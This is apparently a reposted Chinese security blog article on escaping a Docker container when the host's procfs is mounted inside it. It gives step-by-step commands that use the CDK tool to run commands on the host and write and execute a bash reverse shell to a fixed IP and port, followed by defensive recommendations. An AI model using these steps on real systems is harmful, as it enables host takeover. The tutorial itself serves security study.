基本概述
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件,因此将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时
容器逃逸
Step 1:在宿主机启动测试容器,挂载宿主机的procfs,尝试逃逸当前容器
docker run -v /home/ubuntu/cdk:/cdk -v /proc:/mnt/host_proc --rm -it ubuntu bash
Step 2:容器内部执行以下命令
./cdk run mount-procfs /mnt/host_proc "touch /tmp/exp-success"
Step 3:宿主机中出现/tmp/exp-success文件,说明EXP已经成功执行,攻击者可以在宿主机执行任意命令
./cdk run mount-procfs /mnt/host_proc "echo '/bin/bash -i >& /dev/tcp/192.168.17.143/9999 0>&1' > /tmp/res.sh"
./cdk run mount-procfs /mnt/host_proc "/bin/bash /tmp/res.sh"
Step 4:之后成功获取到物理主机的shell
文末小结
总的来说,Procfs挂载是一种常见的系统调优技术,它可以帮助用户监控和分析系统资源的使用情况。然而,如果不小心处理,将Procfs挂载到容器中可能会导致安全风险,使得攻击者能够通过访问/proc目录来获取敏感主机信息或者实施攻击。为了避免这种风险,我们需要注意以下几点:
1、在启动容器之前,确保没有把Procfs文件系统挂载到容器内部。
2、对于需要访问/proc目录的容器,限制其对/proc目录的访问权限,只开放必要的信息
3、细化容器的权限设置,根据具体的应用场景来划分容器的权限范围,避免滥用特权。
4、定期检查容器的配置和运行状态,及时发现和修复潜在的安全漏洞和风险。
综上所述,我们需要在使用Procfs挂载的同时,加强容器的安全管理,以确保容器环境下的安全性和稳定性。
原文始发于微信公众号(七芒星实验室):【容器安全】Procfs危险挂载导致容器逃逸
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论